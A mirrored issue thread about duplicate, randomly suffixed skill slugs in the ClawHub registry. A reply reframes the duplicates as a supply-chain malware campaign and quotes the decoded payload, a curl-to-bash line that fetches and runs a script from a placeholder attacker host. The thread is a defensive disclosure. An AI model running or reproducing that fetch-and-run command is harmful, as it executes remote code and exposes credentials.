openclaw/clawhub
1
0
Fork 0
mirror of https://github.com/openclaw/clawhub.git synced 2026-07-22 03:35:29 -04:00
Code Issues 183 Packages Projects Releases 1 Wiki Activity

# Duplicate skills with random suffixes polluting registry #59

New Issue
Open
opened 2026-02-15 17:15:25 -05:00 by yindo · 1 comment
yindo commented 2026-02-15 17:15:25 -05:00
Owner
Copy Link
Copy Source

Originally created by @ctbritt on GitHub (Feb 3, 2026).

Problem

The ClawdHub registry is filling up with duplicate skills that have random suffixes appended to their slugs. This makes discovery difficult and pollutes search results.

Examples

When searching for "gog":

gog v1.0.0  Gog
gog-kvlmtdd v1.0.0  Gog
gog-ee3cg9w v1.0.0  Gog
gog-iezecg1 v1.0.0  Gog
gog-g7ksras v1.0.0  Gog

Other examples:

  • nano-banana-pro, nano-banana-pro-xeqcnk, nano-banana-pro-mauf71, nano-banana-pro-pqcucx
  • coding-agent-z1qldmg0f, coding-agent-yzyvfg9hn, coding-agent-tvmz0qsg1
  • clawdhub-i6qfm0cay3, clawdhub-3ffldvumfb

Root cause

It appears the CLI is auto-generating unique slugs when there's a collision (instead of failing), likely by appending random suffixes.

Expected behavior

When publishing a skill with a slug that already exists:

  1. Option 1 (preferred): Fail with an error: "Slug 'gog' already exists. Please choose a different slug or use --force to replace."
  2. Option 2: Require explicit --force flag to overwrite
  3. Option 3: Implement author namespacing (e.g., @username/gog)

Suggested fixes

  1. Short-term: Remove the auto-suffix behavior and fail on collision
  2. Medium-term: Add author namespacing to slugs
  3. Long-term:
    • Show only "canonical" versions by default
    • Add a "show all forks" option
    • Implement popularity/star ranking to surface the best version

Impact

  • Users can't easily find the correct/canonical version of a skill
  • Registry becomes cluttered with test uploads
  • Search results are dominated by duplicates
  • No way to distinguish official vs. fork vs. test upload

Environment

Originally created by @ctbritt on GitHub (Feb 3, 2026). ## Problem The ClawdHub registry is filling up with duplicate skills that have random suffixes appended to their slugs. This makes discovery difficult and pollutes search results. ## Examples When searching for "gog": ``` gog v1.0.0 Gog gog-kvlmtdd v1.0.0 Gog gog-ee3cg9w v1.0.0 Gog gog-iezecg1 v1.0.0 Gog gog-g7ksras v1.0.0 Gog ``` Other examples: - `nano-banana-pro`, `nano-banana-pro-xeqcnk`, `nano-banana-pro-mauf71`, `nano-banana-pro-pqcucx` - `coding-agent-z1qldmg0f`, `coding-agent-yzyvfg9hn`, `coding-agent-tvmz0qsg1` - `clawdhub-i6qfm0cay3`, `clawdhub-3ffldvumfb` ## Root cause It appears the CLI is auto-generating unique slugs when there's a collision (instead of failing), likely by appending random suffixes. ## Expected behavior When publishing a skill with a slug that already exists: 1. **Option 1 (preferred):** Fail with an error: "Slug 'gog' already exists. Please choose a different slug or use --force to replace." 2. **Option 2:** Require explicit `--force` flag to overwrite 3. **Option 3:** Implement author namespacing (e.g., `@username/gog`) ## Suggested fixes 1. **Short-term:** Remove the auto-suffix behavior and fail on collision 2. **Medium-term:** Add author namespacing to slugs 3. **Long-term:** - Show only "canonical" versions by default - Add a "show all forks" option - Implement popularity/star ranking to surface the best version ## Impact - Users can't easily find the correct/canonical version of a skill - Registry becomes cluttered with test uploads - Search results are dominated by duplicates - No way to distinguish official vs. fork vs. test upload ## Environment - ClawdHub CLI: v0.3.1-beta.1 - Registry: https://www.clawhub.ai/api - Discovered: 2026-02-03
yindo commented 2026-02-15 17:15:26 -05:00
Author
Owner
Copy Link
Copy Source

@prefrontalsys commented on GitHub (Feb 3, 2026):

🚨 THIS IS NOT A UX ISSUE - THIS IS AN ACTIVE MALWARE ATTACK 🚨

These are not accidental duplicates. At least user @sakaen736jih is deliberately uploading malicious skill clones with embedded malware.

ALL of these skills contain "OpenClawProvider" installation instructions that:

  • Download malware from attacker-controlled server
  • Execute arbitrary code on victim machines
  • Steal credentials, API keys, system access

The base64-encoded macOS payload decodes to:
/bin/bash -c "$(curl -fsSL http://[ATTACKER_IP]/[script])"

Affected skills include: gog, nano-banana-pro, deep-research, coding-agent, youtube-watcher, nano-pdf, browser-automation, summarize, and more.

DO NOT INSTALL these skills. This is an active, ongoing supply chain attack.

See new security issue for full details.

@prefrontalsys commented on GitHub (Feb 3, 2026): 🚨 THIS IS NOT A UX ISSUE - THIS IS AN ACTIVE MALWARE ATTACK 🚨 These are not accidental duplicates. At least user @sakaen736jih is deliberately uploading malicious skill clones with embedded malware. ALL of these skills contain "OpenClawProvider" installation instructions that: - Download malware from attacker-controlled server - Execute arbitrary code on victim machines - Steal credentials, API keys, system access The base64-encoded macOS payload decodes to: /bin/bash -c "$(curl -fsSL http://[ATTACKER_IP]/[script])" Affected skills include: gog, nano-banana-pro, deep-research, coding-agent, youtube-watcher, nano-pdf, browser-automation, summarize, and more. DO NOT INSTALL these skills. This is an active, ongoing supply chain attack. See new security issue for full details.
Sign in to join this conversation.
No Branch/Tag Specified
Branches Tags
Labels
Clear labels
bug
pull-request
Mirrored from GitHub Pull Request
No Label
Milestone
No items
No Milestone
Projects
Clear projects
No project
Assignees
Clear assignees
yindo
No Assignees
1 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: openclaw/clawhub#59
Delete Branch "%!s()"

Deleting a branch is permanent. Although the deleted branch may continue to exist for a short time before it actually gets removed, it CANNOT be undone in most cases. Continue?